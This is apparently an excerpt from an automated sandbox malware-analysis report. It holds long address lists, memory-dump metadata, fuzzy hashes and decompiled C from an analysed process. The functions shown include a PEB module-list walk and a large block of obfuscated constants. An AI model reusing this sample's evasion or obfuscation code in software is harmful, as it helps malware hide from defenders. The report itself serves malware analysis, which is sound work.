0x00385f59
0x00385f59
0x00385f5c
0x00385f5e
0x00000000
0x00000000
0x00385f64
0x00385f73
0x00385f7d
0x00385f93
0x00385fa9
0x00385fb2
0x00385fb7
0x00385fba
0x00385fbd
0x00385fc0
0x00385fc2
0x00385fc4
0x00385fc4
0x00385fd0
0x00385fd0
0x00385fd0
0x00385fd4
0x00385fd5
0x00385fdc
0x00385fdc
0x00385fd0
0x00385fe0
0x00385fe0
0x00385fe5
0x00385fe6
0x00385fe7
0x00385fe8
0x00385fe9
0x00385fe9
0x00385fef
0x00385ff5
0x00385ff8
0x00386000
0x00386000
0x00386000
0x00386009
0x0038600b
0x0038600d
0x00386014
0x00386017
0x00386020
0x00386027
0x00386029
0x0038602c
0x00386035
0x00386037
0x0038603e
0x00386041
0x00386041
0x0038604c
0x0038604f
0x00386055
0x00386058
0x0038605a
0x00386061
0x0038606c
0x0038606c
0x0038606f
0x00386076
0x0038607d
0x00386080
0x00386086
0x00386086
0x00386090
0x00386090
0x00386095
0x00386095
0x00386099
0x0038609c
0x0038609e
0x003860a4
0x003860a4
0x003860ab
0x003860af
0x003860b6
0x003860b9
0x003860bb
0x00000000
0x003860c0
0x003860c0
0x003860cb
0x003860ce
0x003860cf
0x003860d1
0x003860d4
0x003860d4
0x003860d8
0x003860d8
0x003860db
0x003860db
0x003860de
0x0038612d
0x0038613d
0x00386140
0x00386143
0x00386146
0x00386149
0x0038614c
0x0038614e
0x00386153
0x00386156
0x00386158
0x00386158
0x0038615b
0x0038615e
0x0038615e
0x00386161
0x00386161
0x00386164
0x00386167
0x00386169
0x00386169
0x00386169
0x0038616c
0x0038616f
0x00386172
0x00386172
0x00386172
0x00386180
0x00386185
0x00386189
0x0038618c
0x003861a4
0x0038618e
0x00386191
0x00386195
0x00386198
0x0038619a
0x0038619d
0x003861a0
0x003861a0
0x003861a7
0x003861a7
0x003861a7
0x003861a7
0x003861a7
0x003861ac
0x003861af
0x003861af
0x003861b1
0x003861b6
0x003861b6
0x003861bb
0x003860e0
0x003860e0
0x003860e7
0x003860ea
0x003860ed
0x003860f3
0x003860f9
0x003860f9
0x003860fe
0x003860ff
0x00386100
0x00386101
0x00386101
0x00386106
0x0038610f
0x0038610f
0x00386115
0x00386115
0x00386115
0x00386118
0x0038611a
0x0038611d
0x0038611d
0x00386125
0x00386125
0x003860f3
0x003860de
0x003861c3
0x003861c3
0x003861c6
0x003861c7
0x003861c7
0x003861d1
0x003861d6
0x003861d6
0x003861d7
0x003861d7
0x003861db
0x003863f6
0x003863f6
0x00000000
0x003861e1
0x003861e1
0x003861e1
0x003861e1
0x003861e3
0x003861e3
0x003861e3
0x003861e6
0x003861e6
0x003861ec
0x003861ef
0x003861f1
0x00000000
0x00000000
0x003861f7
0x003861f7
0x003861fa
0x003862b2
0x003862b9
0x003862c1
0x003862c4
0x003862c6
0x003862d7
0x00000000
0x003862e0
0x003862e0
0x003862e0
0x003862e5
0x003862e7
0x003862ee
0x003862f6
0x003862f9
0x003862f9
0x003862c8
0x003862c8
0x003862ca
0x003862cd
0x003862d2
0x003862d2
0x003862fd
0x003862fd
0x003862ff
0x00386301
0x00386304
0x00386307
0x0038630a
0x0038631c
0x0038631c
0x0038632c
0x0038632c
0x00386333
0x00386336
0x00386338
0x00386360
0x0038636e
0x00386371
0x00386378
0x0038637b
0x0038637d
0x00386381
0x00386384
0x00386387
0x00386393
0x00386393
0x00386389
0x00386389
0x00386389
0x00386395
0x003863a0
0x003863a9
0x003863ac
0x003863ae
0x003861e3
0x003861e3
0x00000000
0x0038633a
0x0038633a
0x0038633a
0x0038633a
0x0038633d
0x00000000
0x00000000
0x00386343
0x00386348
0x0038634a
0x0038634b
0x0038634e
0x00386350
0x00386353
0x00386356
0x00386359
0x0038635b
0x00000000
0x0038635d
0x0038635d
0x0038635d
0x00000000
0x0038635d
0x00000000
0x0038635b
0x003865b6
0x003865b6
0x00000000
0x003865b6
0x0038631e
0x0038631e
0x0038631e
0x00386321
0x00386323
0x00386698
0x00386698
0x0038669b
0x00000000
0x00386329
0x00386329
0x00386329
0x00000000
0x00386329
0x00386323
0x0038630c
0x0038630c
0x0038630c
0x0038630f
0x00386316
0x00000000
0x00386316
0x00386200
0x00386200
0x00386205
0x00386208
0x0038628e
0x0038628e
0x00386295
0x00386298
0x0038629d
0x003862a3
0x003862a6
0x003862a9
0x003862a9
0x003862ac
0x00000000
0x0038620e
0x0038620e
0x0038620e
0x00386210
0x00386215
0x0038621d
0x0038621f
0x00386232
0x00386232
0x00386235
0x00000000
0x00386237
0x00386237
0x0038623c
0x0038623c
0x00386240
0x00386240
0x0038624e
0x00386259
0x0038625a
0x0038625d
0x0038625f
0x00000000
0x00000000
0x00386261
0x00386261
0x00386264
0x00386266
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00386266
0x00000000
0x00386240
0x00386221
0x00386221
0x00386221
0x00386224
0x00386226
0x00386268
0x00386268
0x0038626b
0x0038626b
0x0038626e
0x003865ab
0x003865ab
0x00000000
0x00000000
0x00000000
0x00000000
0x00386228
0x00386228
0x00386228
0x0038622a
0x003862af
0x003862af
0x00000000
0x00386230
0x00386230
0x00000000
0x00386230
0x0038622a
0x00386226
0x00000000
0x00386274
0x00386277
0x00386279
0x0038627b
0x0038627c
0x0038627e
0x00386281
0x00386284
0x00386287
0x00386287
0x00000000
0x0038628c
0x00386208
0x00000000
0x003861fa
0x003863b6
0x003863b9
0x003863bc
0x003863be
0x003863c0
0x003866a6
0x003866a6
0x003866a9
0x00000000
0x003863c6
0x003863c6
0x003863d2
0x003863e3
0x003863e3
0x003863ed
0x003863f3
0x00000000
0x003863f3
0x00000000
0x003863c0
0x003861e3
0x00386063
0x00386063
0x00386063
0x00386066
0x00386686
0x00386686
0x0038668d
0x00000000
0x00000000
0x00000000
0x00000000
0x00386066
0x00000000
0x00386061
0x003863fe
0x003863fe
0x003858f8
0x003858f8
0x003858fb
0x003858fd
0x00385900
0x00000000
0x00000000
0x00000000
0x00385900
0x00000000
0x003858f8
0x00385d87
0x00385bbe
0x00385bbe
0x00385bc0
0x00385bc3
0x00385bc5
0x00385bec
0x00385bee
0x00385bf1
0x00385bf3
0x00385bf5
0x00385bf8
0x00385bf8
0x00385bfa
0x00385bfa
0x00385bfa
0x00385bfd
0x00385c00
0x00000000
0x00000000
0x00385c02
0x00385c02
0x00385c04
0x00385c42
0x00385c42
0x00385c45
0x0038655f
0x0038655f
0x00000000
0x00385c4b
0x00385c4b
0x00385c4b
0x00385c4d
0x00385c4e
0x00385c55
0x00385c56
0x00000000
0x00385c56
0x00385c06
0x00385c06
0x00385c06
0x00385c09
0x00385c2f
0x00385c2f
0x00385c36
0x00385c39
0x00385c3c
0x00385c3d
0x00000000
0x00385c0b
0x00385c0b
0x00385c0b
0x00385c0b
0x00385c0e
0x00000000
0x00000000
0x00385c14
0x00385c19
0x00385c1b
0x00385c1c
0x00385c1e
0x00385c21
0x00385c24
0x00385c27
0x00385c2a
0x00000000
0x00385c2c
0x00385c2c
0x00385c2c
0x00000000
0x00385c2c
0x00000000
0x00385c2a
0x00386554
0x00386554
0x00000000
0x00386554
0x00385c09
0x00000000
0x00385c04
0x00385c5b
0x00385c6e
0x00385c75
0x00385c8a
0x00385c8d
0x00386662
0x00386662
0x00386669
0x00000000
0x00385c93
0x00385c93
0x00385c93
0x00385c96
0x00385c96
0x00385c96
0x00385c98
0x00000000
0x00000000
0x00385c9e
0x00385c9e
0x00385ca0
0x00385cfc
0x00385cfc
0x00385cff
0x00385cff
0x00385cff
0x00385d01
0x00000000
0x00000000
0x00385d11
0x00385d11
0x00385d14
0x00385d16
0x00385d30
0x00385d30
0x00385d33
0x00385d35
0x00386587
0x00386587
0x0038658a
0x00000000
0x00385d3b
0x00385d3b
0x00385d3b
0x00385d40
0x00385d42
0x00385d46
0x00385d49
0x00385d4b
0x00385d54
0x00385d4d
0x00385d4d
0x00385d4f
0x00385d4f
0x00385d56
0x00385d5b
0x00385d5b
0x00385d64
0x00385d69
0x00385d6b
0x00385d6e
0x00385d71
0x00385d73
0x00385d76
0x00000000
0x00385d76
0x00385d18
0x00385d18
0x00385d18
0x00385d1b
0x00385d22
0x00000000
0x00385d22
0x00000000
0x00385d16
0x00385d03
0x00385d03
0x00385d08
0x00000000
0x00385ca2
0x00385ca2
0x00385ca2
0x00385ca5
0x00385cc8
0x00385cc8
0x00385ccb
0x00385cce
0x00385cd1
0x00385cd4
0x00385cdc
0x00385cdf
0x00385ce2
0x00385ce5
0x00386575
0x00386575
0x0038657c
0x00000000
0x00385ceb
0x00385ceb
0x00385cee
0x00385cf1
0x00385cf6
0x00385cf7
0x00000000
0x00385cf7
0x00385ca7
0x00385ca7
0x00385ca7
0x00385ca7
0x00385caa
0x00000000
0x00000000
0x00385cb0
0x00385cb5
0x00385cb7
0x00385cb8
0x00385cba
0x00385cbd
0x00385cc0
0x00385cc3
0x00385cc6
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00385cc6
0x0038656a
0x0038656a
0x00000000
0x0038656a
0x00385ca5
0x00000000
0x00385ca0
0x00000000
0x00385c96
0x00385bc7
0x00385bc7
0x00385bc7
0x00385bc7
0x00385bca
0x00000000
0x00000000
0x00385bd0
0x00385bd5
0x00385bd7
0x00385bda
0x00385bdc
0x00385bdf
0x00385be2
0x00385be5
0x00385be8
0x00385bea
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00385bea
0x00386549
0x00386549
0x00000000
0x00386549
0x00385bc5
0x00385b7e
0x00385b7e
0x00385b7e
0x00385b7e
0x00385b81
0x00000000
0x00000000
0x00385b87
0x00385b8c
0x00385b8e
0x00385b8f
0x00385b91
0x00385b94
0x00385b97
0x00385b9a
0x00385b9d
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00385b9d
0x0038653e
0x0038653e
0x00000000
0x0038653e
0x00000000
0x00385b7c
0x003865c1
0x003865c3
0x003865c6
0x003865c8
0x003865f2
0x003865f2
0x003865f7
0x003865fa
0x003865fc
0x003865fe
0x00386601
0x00386603
0x00386605
0x00386605
0x00386605
0x00386608
0x00000000
0x00000000
0x0038660a
0x0038660a
0x0038660b
0x0038660e
0x00386610
0x00000000
0x00000000
0x00000000
0x00386610
0x00386605
0x00386612
0x00386617
0x00386617
0x0038661b
0x0038661e
0x00386621
0x00386624
0x00386626
0x00386629
0x0038662d
0x00386630
0x00386634
0x00386752
0x00386752
0x00386752
0x00386754
0x00000000
0x0038663a
0x0038663a
0x0038663a
0x00386703
0x00386703
0x00386703
0x00386706
0x00386709
0x00000000
0x00000000
0x0038670b
0x0038670b
0x0038670d
0x0038671a
0x0038671a
0x0038671d
0x00386720
0x003866e7
0x003866e7
0x003866ed
0x003866ed
0x003866f0
0x00000000
0x00386722
0x00386722
0x003866ca
0x003866ca
0x003866ca
0x003866cd
0x00000000
0x00000000
0x003866cf
0x003866d4
0x003866d6
0x003866d9
0x003866db
0x003866dc
0x003866df
0x003866e2
0x00000000
0x003866e4
0x003866e4
0x003866e4
0x00000000
0x003866e4
0x00000000
0x003866e2
0x0038672c
0x0038672c
0x00000000
0x0038672c
0x0038670f
0x0038670f
0x0038670f
0x00386712
0x00386724
0x00386724
0x00000000
0x00386714
0x00386714
0x00386714
0x00386717
0x003866f3
0x003866f3
0x003866fc
0x003866ff
0x003866ff
0x00386700
0x00000000
0x00386700
0x00386712
0x00000000
0x0038670d
0x00000000
0x00386703
0x003865d0
0x00000000
0x003865d0
0x003865d0
0x003865d0
0x003865d3
0x00000000
0x00000000
0x003865d9
0x003865e0
0x003865e3
0x003865e5
0x003865e8
0x003865eb
0x003865ee
0x003865f0
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x003865f0
0x003866c2
0x003866c2
0x00000000
0x003866c2
0x003865c8
0x00385995
0x00385995
0x00385995
0x00385998
0x0038599a
0x0038599e
0x003859a0
0x003859a3
0x003859a6
0x003859ae
0x003859b3
0x003859b6
0x003859b6
0x003859b9
0x003859b9
0x003859c3
0x003859cb
0x003859ce
0x003859d0
0x003859d9
0x003859d9
0x003859de
0x003859df
0x003859e0
0x003859e1
0x003859e1
0x003859e5
0x003859e7
0x003859ed
0x003859f5
0x003859f5
0x003859f9
0x003859fc
0x003859d2
0x003859d2
0x003859d4
0x003859d4
0x003859ff
0x003859ff
0x00385a02
0x00385a04
0x00385a09
0x00385a0c
0x00385a0e
0x00385a11
0x00385a17
0x00385b57
0x00385b57
0x00385b57
0x00385b57
0x00000000
0x00385a1d
0x00385a1d
0x00385a1d
0x00385a20
0x00385a26
0x003858f8
0x003858f8
0x003858fb
0x003858fd
0x00385900
0x00000000
0x00000000
0x00000000
0x00385900
0x003858f8
0x00385a17
0x0038598f
0x00000000
0x00385a2e
0x00385a2e
0x00385a31
0x00385ae3
0x00385aea
0x00385af2
0x00385af5
0x00385af7
0x00385b08
0x00385b08
0x00385b0d
0x00385b0e
0x00385b0f
0x00385b10
0x00385b10
0x00385b14
0x00385b16
0x00385b1a
0x00385b1c
0x00385b24
0x00385b24
0x00385b28
0x00385b2b
0x00385af9
0x00385af9
0x00385afb
0x00385afe
0x00385b03
0x00385b03
0x00385b2e
0x00385b2e
0x00385b30
0x00385b32
0x00385b35
0x00385b38
0x00385b3e
0x00000000
0x00385b40
0x00385b40
0x00385b40
0x00385b43
0x00385b46
0x0038652c
0x0038652c
0x00386533
0x00000000
0x00385b4c
0x00385b4c
0x00385b4c
0x00385b4f
0x00000000
0x00385b4f
0x00385b46
0x00385a37
0x00385a37
0x00385a37
0x00385a3a
0x00385abf
0x00385abf
0x00385ac6
0x00385ac9
0x00385ace
0x00385ad4
0x00385ad7
0x00385ada
0x00385ada
0x00385add
0x00000000
0x00385a40
0x00385a40
0x00385a40
0x00385a42
0x00385a47
0x00385a4f
0x00385a51
0x00385a64
0x00385a64
0x00385a67
0x00000000
0x00385a69
0x00385a69
0x00385a6e
0x00385a71
0x00385a71
0x00385a7f
0x00385a8a
0x00385a8b
0x00385a8e
0x00385a90
0x00000000
0x00000000
0x00385a92
0x00385a92
0x00385a95
0x00385a97
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00385a97
0x00000000
0x00385a71
0x00385a53
0x00385a53
0x00385a53
0x00385a56
0x00385a58
0x00385a99
0x00385a99
0x00385a9c
0x00385a9c
0x00385a9f
0x00386521
0x00386521
0x00000000
0x00000000
0x00000000
0x00000000
0x00385a5a
0x00385a5a
0x00385a5a
0x00385a5c
0x00385ae0
0x00385ae0
0x00000000
0x00385a62
0x00385a62
0x00000000
0x00385a62
0x00385a5c
0x00385a58
0x00000000
0x00385aa5
0x00385aa8
0x00385aaa
0x00385aac
0x00385aad
0x00385aaf
0x00385ab2
0x00385ab5
0x00385ab8
0x00385ab8
0x00000000
0x00385abd
0x00385a3a
0x00000000
0x00385a31
0x003858f8
0x003866b4
0x003866b4
0x003866b4
0x003866b7
0x0038675a
0x0038675a
0x00000000
0x0038675a
0x00385780
0x00385780
0x00385782
0x003857a7
0x003857ac
0x003857b1
0x003857b3
0x003857b5
0x003857b8
0x003857bb
0x00000000
0x00385784
0x00000000
0x00385784
0x00385792
0x00385794
0x00385795
0x00385798
0x0038579a
0x0038579d
0x003857a0
0x003857a5
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x003857a5
0x0038664c
0x00386732
0x00386732
0x0038673b
0x00386740
0x00386740
0x00386743
0x00386746
0x00386749
0x0038674b
0x0038674b
0x0038674e
0x00386750
0x0038675d
0x0038675d
0x00386760
0x00386762
0x00386764
0x00386764
0x00386764
0x00386767
0x00000000
0x00000000
0x00386769
0x00386769
0x0038676a
0x0038676d
0x0038676f
0x00000000
0x00000000
0x00000000
0x0038676f
0x00386764
0x00386762
0x0038674e
0x00386749
0x00385782
0x00000000
0x00385736
0x00385736
0x0038573b
0x0038573c
0x0038573d
0x00385740
0x00385740
0x00385744
0x00385746
0x0038574c
0x00385754
0x00385754
0x00385758
0x0038575b
0x0038575e
0x00000000
0x0038575e
0x00385714
0x00386771
0x00386771
0x00386774
0x00386776
0x0038677b
0x0038677e
0x00386781
0x00386784
0x00386786
0x00386789
0x00386793
0x0038679e
0x003867a1
0x003867a5
0x003867ab
0x003867b1
0x003867b7
0x003867ba
0x003867bd
0x003867c2
0x003867c5
0x003867c7
0x003867cd
0x003867cd
0x003867cf
0x003867d5
0x003867d5
0x003867df
0x003867e5
0x003867ee
0x003867f1
0x003867f4
0x003867f6
0x003867fa
0x003867fd
0x00386803
0x00386803
0x00386805
0x00386805
0x00386805
0x00386807
0x0038680a
0x0038680d
0x00386813
0x00386813
0x00386818
0x00386819
0x0038681a
0x0038681b
0x0038681b
0x0038681b
0x00386820
0x00386820
0x00386823
0x00386826
0x00386831
0x0038683c
0x00386847
0x00386852
0x0038685d
0x00386868
0x00386873
0x00386878
0x0038687b
0x0038687d
0x00386882
0x00386884
0x00386884
0x00386889
0x0038688c
0x0038688c
0x0038688f
0x0038688f
0x00386891
0x00386894
0x00386896
0x00386898
0x0038689c
0x0038689f
0x003868a1
0x003868a1
0x003868a6
0x003868ae
0x003868b2
0x003868b2
0x003868b6
0x003868c0
0x003868c0
0x003868c3
0x003868c5
0x003868c9
0x003868cb
0x003868ce
0x003868d0
0x003868d2
0x003868d2
0x003868d2
0x003868d5
0x003868d8
0x003868db
0x003868de
0x003868e1
0x003868e1
0x003868e4
0x003868e4
0x003868e6
0x003868e8
0x003868ee
0x003868f0
0x003868f2
0x003868f2
0x003868f3
0x003868f3
0x003868f6
0x003868f9
0x003868fb
0x003868fb
0x003868fb
0x003868fd
0x00386902
0x0038690d
0x00386919
0x0038691f
0x00386921
0x00386921
0x00386921
0x00386924
0x00386929
0x0038692c
0x0038692c
0x00386935
0x0038693a
0x0038693a
0x0038693b
0x0038693e
0x00386940
0x00386943
0x00386945
0x00386947
0x0038694b
0x0038694d
0x00386955
0x00386955
0x00386955
0x0038694b
0x00386945
0x003867cf
0x00386958
0x00386960
0x00000000
0x00386960
0x00386657
0x00386657
0x00000000

Memory Dump Source

Source File: 0000000C.00000002.1433164359.00381000.00000020.sdmp, Offset: 00380000, based on PE: true

Associated: 0000000C.00000002.1433160246.00380000.00000002.sdmp
Associated: 0000000C.00000002.1433175069.0038F000.00000002.sdmp
Associated: 0000000C.00000002.1433179610.00390000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_380000_emitwpc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 17619d53f4b99d06ab98173cd658a09ef1f38926b531c2d6b7e3d81a8c89b160
Instruction ID: ac68e5d497d1f424a3d8d4a1f06c48b63a292f52ec26f5cefadf986d52be6ef2
Opcode Fuzzy Hash: 17619d53f4b99d06ab98173cd658a09ef1f38926b531c2d6b7e3d81a8c89b160
Instruction Fuzzy Hash: 38128E71E0072ACBCF0ADF69C8912BDBBB1FF95300F2541AAD866A7744D7349A41DB90

Uniqueness

Uniqueness Score: 0.00%

Function 00381530, Relevance: .0, Instructions: 19
COMMON

C-Code - Quality: 94%

			E00381530(void* __ebx, void* __ecx, void* __edi, void* __esi) {
				intOrPtr _t3;
				void* _t5;
				intOrPtr* _t10;
				intOrPtr* _t12;

				_t3 =  *[fs:0x30];
				_t5 = __ecx;
				_t10 =  *((intOrPtr*)(_t3 + 0xc)) + 0xc;
				_t12 =  *_t10;
				if(_t12 == _t10) {
					L3:
					goto 0x3a0211;
					return _t3;
				} else {
					while(1) {
						_t3 = E003813A0( *((intOrPtr*)(_t12 + 0x30)));
						if(_t3 == _t5) {
							break;
						}
						_t12 =  *_t12;
						if(_t12 != _t10) {
							continue;
						} else {
							goto L3;
						}
						goto L5;
					}
					goto 0x3a0224;
					asm("int3");
					return _t3;
				}
				L5:
			}

0x00381530
0x0038153c
0x0038153e
0x00381541
0x00381545
0x00381559
0x00381559
0x0038155e
0x00381547
0x00381547
0x0038154a
0x00381551
0x00000000
0x00000000
0x00381553
0x00381557
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00381557
0x0038155f
0x00381564
0x00381565
0x00381565
0x00000000

Memory Dump Source

Source File: 0000000C.00000002.1433164359.00381000.00000020.sdmp, Offset: 00380000, based on PE: true

Associated: 0000000C.00000002.1433160246.00380000.00000002.sdmp
Associated: 0000000C.00000002.1433175069.0038F000.00000002.sdmp
Associated: 0000000C.00000002.1433179610.00390000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_380000_emitwpc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb3b20853c12e01583646f0bc9b5b796af15d36b12eeb5013d60b718caa977e6
Instruction ID: cbd74f8239d26d2d112725de982dd441b80c216492f32e2f9574236c20a8cb5f
Opcode Fuzzy Hash: fb3b20853c12e01583646f0bc9b5b796af15d36b12eeb5013d60b718caa977e6
Instruction Fuzzy Hash: F1E0C232500610CBC737BA488880A65F3AEEBC67A033B08AAD45A67A00C274BC018740

Uniqueness

Uniqueness Score: 0.00%

Function 003821B0, Relevance: .0, Instructions: 3
COMMON

C-Code - Quality: 100%

			E003821B0() {

				return  *((intOrPtr*)( *[fs:0x30] + 0x1d4));
			}

0x003821bc

Memory Dump Source

Source File: 0000000C.00000002.1433164359.00381000.00000020.sdmp, Offset: 00380000, based on PE: true

Associated: 0000000C.00000002.1433160246.00380000.00000002.sdmp
Associated: 0000000C.00000002.1433175069.0038F000.00000002.sdmp
Associated: 0000000C.00000002.1433179610.00390000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_380000_emitwpc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 98b478bd1af69a2275d0ab39f1ac079ffe73a0c4551ec61df12d917ad4ecd62f
Instruction ID: dd1ea78877d89c8c1f21003391c56dd86dd10fe21c56db2a52adb93900471d7c
Opcode Fuzzy Hash: 98b478bd1af69a2275d0ab39f1ac079ffe73a0c4551ec61df12d917ad4ecd62f
Instruction Fuzzy Hash: 8EA00275752980CFCE12CB09C394F9073F4F744B41F0504F1E80997A11C238A900CA00

Uniqueness

Uniqueness Score: 0.00%

Function 00386E3A, Relevance: 49.4, APIs: 1, Strings: 27, Instructions: 447
libraryUNIQUE

C-Code - Quality: 99%

			E00386E3A(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				void* _t431;
				void* _t441;

				_t431 = __ebx;
				 *((intOrPtr*)(_t441 - 0x6a4)) = 0x15c250b;
				 *((intOrPtr*)(_t441 - 0x6a0)) = 0x3c051136;
				 *((intOrPtr*)(_t441 - 0x69c)) = 0xd3ade4a7;
				 *((intOrPtr*)(_t441 - 0x698)) = 0x23973baa;
				 *((intOrPtr*)(_t441 - 0x694)) = 0x8feb665e;
				 *((intOrPtr*)(_t441 - 0x690)) = 0xf45a03e8;
				 *((intOrPtr*)(_t441 - 0x68c)) = 0xa9d84069;
				 *((intOrPtr*)(_t441 - 0x688)) = 0x519e252e;
				 *((intOrPtr*)(_t441 - 0x684)) = 0x72492224;
				 *((intOrPtr*)(_t441 - 0x680)) = 0xb176f537;
				 *((intOrPtr*)(_t441 - 0x67c)) = 0x6df80dbd;
				 *((intOrPtr*)(_t441 - 0x678)) = 0x8d44ae7c;
				 *((intOrPtr*)(_t441 - 0x674)) = 0x82735d85;
				 *((intOrPtr*)(_t441 - 0x670)) = 0x81110df8;
				 *((intOrPtr*)(_t441 - 0x66c)) = 0x488c56e3;
				 *((intOrPtr*)(_t441 - 0x668)) = 0x52b634b4;
				 *((intOrPtr*)(_t441 - 0x664)) = 0x5bcccbc7;
				 *((intOrPtr*)(_t441 - 0x660)) = 0x6ce1ad93;
				 *((intOrPtr*)(_t441 - 0x65c)) = 0x18270280;
				 *((intOrPtr*)(_t441 - 0x658)) = 0x7d120895;
				 *((intOrPtr*)(_t441 - 0x654)) = 0x7701c908;
				 *((intOrPtr*)(_t441 - 0x650)) = 0xebb622a7;
				 *((intOrPtr*)(_t441 - 0x64c)) = 0xfdbe9ca9;
				 *((intOrPtr*)(_t441 - 0x648)) = 0xe60fd890;
				 *((intOrPtr*)(_t441 - 0x644)) = 0xb6543cc6;
				 *((intOrPtr*)(_t441 - 0x640)) = 0xe5169853;
				 *((intOrPtr*)(_t441 - 0x63c)) = 0x7d4787a;
				 *((intOrPtr*)(_t441 - 0x638)) = 0xa0c30ed4;
				 *((intOrPtr*)(_t441 - 0x634)) = 0xfd3621c5;
				 *((intOrPtr*)(_t441 - 0x630)) = 0x294d912;
				 *((intOrPtr*)(_t441 - 0x62c)) = 0x7b912c78;
				 *((intOrPtr*)(_t441 - 0x628)) = 0xaa9dcd8b;
				 *((intOrPtr*)(_t441 - 0x624)) = 0x3ee2b3a;
				 *((intOrPtr*)(_t441 - 0x620)) = 0x3764e3bc;
				 *((intOrPtr*)(_t441 - 0x61c)) = 0xfe482db4;
				 *((intOrPtr*)(_t441 - 0x618)) = 0x2912578c;
				 *((intOrPtr*)(_t441 - 0x614)) = 0x4209f774;
				 *((intOrPtr*)(_t441 - 0x610)) = 0x93d3b108;
				 *((intOrPtr*)(_t441 - 0x60c)) = 0x98fb9689;
				 *((intOrPtr*)(_t441 - 0x608)) = 0xcb37421f;
				 *((intOrPtr*)(_t441 - 0x604)) = 0x3f52b2bc;
				 *((intOrPtr*)(_t441 - 0x600)) = 0xdea254cc;
				 *((intOrPtr*)(_t441 - 0x5fc)) = 0x429953b4;
				 *((intOrPtr*)(_t441 - 0x5f8)) = 0x2ee21470;
				 *((intOrPtr*)(_t441 - 0x5f4)) = 0x177f19c5;
				 *((intOrPtr*)(_t441 - 0x5f0)) = 0x80f61f63;
				 *((intOrPtr*)(_t441 - 0x5ec)) = 0x462bf458;
				 *((intOrPtr*)(_t441 - 0x5e8)) = 0xafb7c123;
				 *((intOrPtr*)(_t441 - 0x5e4)) = 0xa6c57ec9;
				 *((intOrPtr*)(_t441 - 0x5e0)) = 0x69f2f53a;
				 *((intOrPtr*)(_t441 - 0x5dc)) = 0x89111520;
				 *((intOrPtr*)(_t441 - 0x5d8)) = 0xa5bd2416;
				 *((intOrPtr*)(_t441 - 0x5d4)) = 0x730f6b51;
				 *((intOrPtr*)(_t441 - 0x5d0)) = 0x91fc1fe;
				 *((intOrPtr*)(_t441 - 0x5cc)) = 0xa095249b;
				 *((intOrPtr*)(_t441 - 0x5c8)) = 0xaac500fa;
				 *((intOrPtr*)(_t441 - 0x5c4)) = 0x47184814;
				 *((intOrPtr*)(_t441 - 0x5c0)) = 0x8d98e306;
				 *((intOrPtr*)(_t441 - 0x5bc)) = 0x6303b070;
				 *((intOrPtr*)(_t441 - 0x5b8)) = 0xb2cb8926;
				 *((intOrPtr*)(_t441 - 0x5b4)) = 0x85f57f16;
				 *((intOrPtr*)(_t441 - 0x5b0)) = 0x27d13708;
				 *((intOrPtr*)(_t441 - 0x5ac)) = 0x8b71895e;
				 *((intOrPtr*)(_t441 - 0x5a8)) = 0x3bae59ec;
				 *((intOrPtr*)(_t441 - 0x5a4)) = 0xfb0bdb1b;
				 *((intOrPtr*)(_t441 - 0x5a0)) = 0xa72b3f9e;
				 *((intOrPtr*)(_t441 - 0x59c)) = 0x4daea654;
				 *((intOrPtr*)(_t441 - 0x598)) = 0x92e30cf7;
				 *((intOrPtr*)(_t441 - 0x594)) = 0x3656c7cc;
				 *((intOrPtr*)(_t441 - 0x590)) = 0x6e0670d7;
				 *((intOrPtr*)(_t441 - 0x58c)) = 0x3d4218ce;
				 *((intOrPtr*)(_t441 - 0x588)) = 0x3f25b269;
				 *((intOrPtr*)(_t441 - 0x584)) = 0x111c0e8b;
				 *((intOrPtr*)(_t441 - 0x580)) = 0xccb99784;
				 *((intOrPtr*)(_t441 - 0x57c)) = 0x55446dd6;
				 *((intOrPtr*)(_t441 - 0x578)) = 0x2d43ed57;
				 *((intOrPtr*)(_t441 - 0x574)) = 0xb9f97f69;
				 *((intOrPtr*)(_t441 - 0x570)) = 0xe0a7aeb7;
				 *((intOrPtr*)(_t441 - 0x56c)) = 0x11d06808;
				 *((intOrPtr*)(_t441 - 0x568)) = 0xcf8cc1d;
				 *((intOrPtr*)(_t441 - 0x564)) = 0x1dfbe416;
				 *((intOrPtr*)(_t441 - 0x560)) = 0xf4cf041b;
				 *((intOrPtr*)(_t441 - 0x55c)) = 0xc783c534;
				 *((intOrPtr*)(_t441 - 0x558)) = 0xead2883b;
				 *((intOrPtr*)(_t441 - 0x554)) = 0x88a0b7a1;
				 *((intOrPtr*)(_t441 - 0x550)) = 0x73666ab3;
				 *((intOrPtr*)(_t441 - 0x54c)) = 0x5a6299ec;
				 *((intOrPtr*)(_t441 - 0x548)) = 0xa86132fa;
				 *((intOrPtr*)(_t441 - 0x544)) = 0xe49feb6b;
				 *((intOrPtr*)(_t441 - 0x540)) = 0x34b60a2;
				 *((intOrPtr*)(_t441 - 0x53c)) = 0x82a46e1e;
				 *((intOrPtr*)(_t441 - 0x538)) = 0x41a9fe0;
				 *((intOrPtr*)(_t441 - 0x534)) = 0x64a5543b;
				 *((intOrPtr*)(_t441 - 0x530)) = 0x9a83613f;
				 *((intOrPtr*)(_t441 - 0x52c)) = 0x52f7e03a;
				 *((intOrPtr*)(_t441 - 0x528)) = 0xd78a5f3f;
				 *((intOrPtr*)(_t441 - 0x524)) = 0xfb683151;
				 *((intOrPtr*)(_t441 - 0x520)) = 0xa4c56b7a;
				 *((intOrPtr*)(_t441 - 0x51c)) = 0x96027acc;
				 *((intOrPtr*)(_t441 - 0x518)) = 0x39116e70;
				 *((intOrPtr*)(_t441 - 0x514)) = 0x80234d3a;
				 *((intOrPtr*)(_t441 - 0x510)) = 0x1cf1656b;
				 *((intOrPtr*)(_t441 - 0x50c)) = 0xd9e5d77f;
